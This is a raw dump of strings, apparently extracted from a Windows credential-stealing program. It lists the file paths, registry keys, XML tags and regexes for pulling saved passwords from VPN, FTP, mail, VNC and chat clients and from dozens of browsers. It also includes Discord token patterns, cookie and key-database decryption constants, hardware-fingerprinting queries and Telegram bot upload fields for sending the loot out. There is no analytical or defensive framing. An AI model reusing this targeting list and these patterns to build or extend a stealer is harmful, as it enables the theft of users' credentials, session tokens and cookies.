entropy
remote
USERPROFILE
\OpenVPN\config\
NordVPN
NordVpn.exe*
user.config
//setting[@name='Username']/value
//setting[@name='Password']/value
Private Internet Access
%ProgramW6432%
Private Internet Access\data
ProgramFiles(x86)
\Private Internet Access\data
\account.json
.*"username":"(.*?)"
.*"password":"(.*?)"
privateinternetaccess.com
FileZilla
\FileZilla\recentservers.xml
<Server>
<Host>
</Host>
<Port>
</Port>
<User>
</User>
<Pass encoding="base64">
</Pass>
<Pass>
CoreFTP
SOFTWARE\FTPWare\COREFTP\Sites
hdfzpysvpzimorhk
WinSCP
SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
HostName
UserName
PublicKeyFile
PortNumber
[PRIVATE KEY LOCATION: "{0}"]
ABCDEF
Flash FXP
\FlashFXP\
Sites.dat
quick.dat
yA36zA48dEhfrvghGRg57h5UlDv3
FTP Navigator
No Password
Server
SystemDrive
\FTP Navigator\Ftplist.txt
SmartFTP
SmartFTP\Client 2.0\Favorites\Quick Connect
WS_FTP
appdata
Ipswitch\WS_FTP\Sites\ws_ftp.ini
FtpCommander
;Server=
;Port=
;Password=
;User=
\VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt
\Program Files (x86)\FTP Commander\Ftplist.txt
\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
\cftp\Ftplist.txt
\VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
;Anonymous=
FTPGetter
\FTPGetter\servers.xml
<server>
<server_ip>
</server_ip>
<server_port>
</server_port>
<server_user_name>
</server_user_name>
<server_user_password>
</server_user_password>
The Bat!
\The Bat!
\Account.CFN
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
Becky!
\Mailbox.ini
Account
PassWd
SMTPServer
MailAddress
HKEY_CURRENT_USER\Software\RimArts\B2\Settings
DataDir
Folder.lst
Outlook
9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\11.0\Outlook\Profiles
Software\Microsoft\Office\12.0\Outlook\Profiles
Software\Microsoft\Office\14.0\Outlook\Profiles
Software\Microsoft\Office\15.0\Outlook\Profiles
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\16.0\Outlook\Profiles
IMAP Password
POP3 Password
HTTP Password
SMTP Password
Server
Windows Mail App
Software\Microsoft\ActiveSync\Partners
syncpassword
mailoutgoing
COMPlus_legacyCorruptedStateExceptionsPolicy
FoxMail
HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
Executable
HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
FoxmailPath
\Storage\
\VirtualStore\Program Files\Foxmail\mail
\VirtualStore\Program Files (x86)\Foxmail\mail
\Accounts\Account.rec0
\Account.stg
POP3Host
SMTPHost
IncomingServer
POP3Password
Opera Mail
\Opera Mail\Opera Mail\wand.dat
opera:
ijklmno
vwxyz1234567890_-.~!@#$%^&*()[{]}\|';:,<>/?+=
PocoMail
\Pocomail\accounts.ini
POPPass
SMTPPass
eM Client
eM Client\accounts.dat
Accounts
"Username":"
"Secret":"
72905C47-F4FD-4CF7-A489-4E8121A155BD
"ProviderName":"
o6806642kbM7c5
Mailbird
SenderIdentities
Server_Host
Username
EncryptedPassword
\Mailbird\Store\Store.db
TightVNC
Software\TightVNC\Server
PasswordViewOnly
TightVNC ControlPassword
ControlPassword
RealVNC 4.x
SOFTWARE\Wow6432Node\RealVNC\WinVNC4
RealVNC 3.x
Software\ORL\WinVNC3
SOFTWARE\RealVNC\vncserver
SOFTWARE\RealVNC\WinVNC4
TigerVNC
Software\TigerVNC\Server
UltraVNC
\uvnc bvba\UltraVNC\ultravnc.ini
passwd
passwd2
ProgramFiles
\UltraVNC\ultravnc.ini
JDownloader 2.0
JDownloader 2.0\cfg
org.jdownloader.settings.AccountSettings.accounts.ejs
jd.controlling.authentication.AuthenticationControllerSettings.list.ejs
Paltalk
Software\A.V.M.\Paltalk NG\common_settings\core\users\creds\
nickname
paltalk.com
Pidgin
\.purple\accounts.xml
<account>
<protocol>
</protocol>
<name>
</name>
<password>
</password>
Trillian
\Trillian\users\global\accounts.dat
trillian.im
MysqlWorkbench
\MySQL\Workbench\workbench_user_data.dat
Internet Downloader Manager
Software\DownloadManager\Passwords\
EncPassword
Discord
discord.com
Discord Token
[\w-]{24}\.[\w-]{6}\.[\w-]{27}
mfa\.[\w-]{84}
discordptb
Local Storage\leveldb
discordcanary
origin_url
username_value
Opera Stable
"encrypted_key":"(.*?)"
\Local State
\Default\Login Data
\Login Data
key4.db
metaData
nssPrivate
2a864886f70d0209
2a864886f70d010c050103
key3.db
global-salt
Version
password-check
Path=([A-z0-9\/\.\-]+)
\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"
[^\u0020-\u007F]
logins.json
signons.sqlite
moz_logins
hostname
encryptedUsername
encryptedPassword
Password:
Application:
Host:
Username:
<br>Username:
<br>Password:
<br><hr>
<br>Application:
Thunderbird
\Thunderbird\
K-Meleon
\K-Meleon\
BraveSoftware\Brave-Browser\User Data
BlackHawk
\NETGATE Technologies\BlackHawk\
CyberFox
\8pecxstudios\Cyberfox\
Chromium
Chromium\User Data
Epic Privacy
Epic Privacy Browser\User Data
Sleipnir 6
Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
Torch Browser
Torch\User Data
Yandex Browser
Yandex\YandexBrowser\User Data
Vivaldi
Vivaldi\User Data
Chrome
Google\Chrome\User Data
Cool Novo
MapleStudio\ChromePlus\User Data
PaleMoon
\Moonchild Productions\Pale Moon\
QIP Surf
QIP Surf\User Data
Sputnik
Sputnik\Sputnik\User Data
Postbox
\Postbox\
Citrio
CatalinaGroup\Citrio\User Data
Coccoc
CocCoc\Browser\User Data
Iridium Browser
Iridium\User Data
Firefox
\Mozilla\Firefox\
360 Browser
360Chrome\Chrome\User Data
IceCat
\Mozilla\icecat\
Elements Browser
Elements Browser\User Data
WaterFox
\Waterfox\
Chedot
Chedot\User Data
Coowon
Coowon\Coowon\User Data
Edge Chromium
Microsoft\Edge\User Data
Comodo Dragon
Comodo\Dragon\User Data
SeaMonkey
\Mozilla\SeaMonkey\
Amigo\User Data
IceDragon
\Comodo\IceDragon\
Orbitum
Orbitum\User Data
Liebao Browser
liebao\User Data
CentBrowser
CentBrowser\User Data
Opera Browser
Opera Software\Opera Stable
7Star\7Star\User Data
Kometa
Kometa\User Data
uCozMedia\Uran\User Data
00061561
Berkelet DB
00000002
1.85 (Hash, version 2, native byte-order)
Unknow database format
SQLite format 3
UNIQUE
Cookies
Network\Cookies
cookies
host_key
expires_utc
is_httponly
is_secure
samesite
encrypted_value
cookies.sqlite
moz_cookies
expiry
isHttpOnly
isSecure
sameSite
\Default\
{0:X2}
SEQUENCE {
OBJECTIDENTIFIER
OCTETSTRING
INTEGER
Windows Credential
{{{0}}}
chrome
policy
sha512
ObjectLength
ChainingModeGCM
AuthTagLength
ChainingMode
KeyDataBlob
Microsoft Primitive Provider
:Zone.Identifier
SELECT * FROM Win32_Processor
win32_processor
processorID
3eb16750-eb3c-4396-a234-74adbe09685e
Win32_NetworkAdapterConfiguration
IPEnabled
MacAddress
961db0c1-811e-4f4c-bd80-e1d0e77ea2bf
Win32_BaseBoard
SerialNumber
8375c186-8cfc-4573-b47b-67f2ea78e811
chat_id
caption
yyyy-MM-dd HH-mm-ss
sendDocument
document
---------------------------
multipart/form-data; boundary=
Content-Disposition: form-data; name="{0}"
Content-Disposition: form-data; name="{0}"; filename="{1}"
Content-Type: {2}
StorageSize: {0} (0x{0:X})
FormatID: {0}
Version: 0x{0:X}
Size of the SerializedPropertyStorage is less than 28 ({0})
Version is not equal to {0} ({1})
Size of the SerializedPropertyStore is less than {0} ({1})
{D5CDD505-2E9C-101B-9397-08002B2CF9AE}
Value: {0}
Type: {0}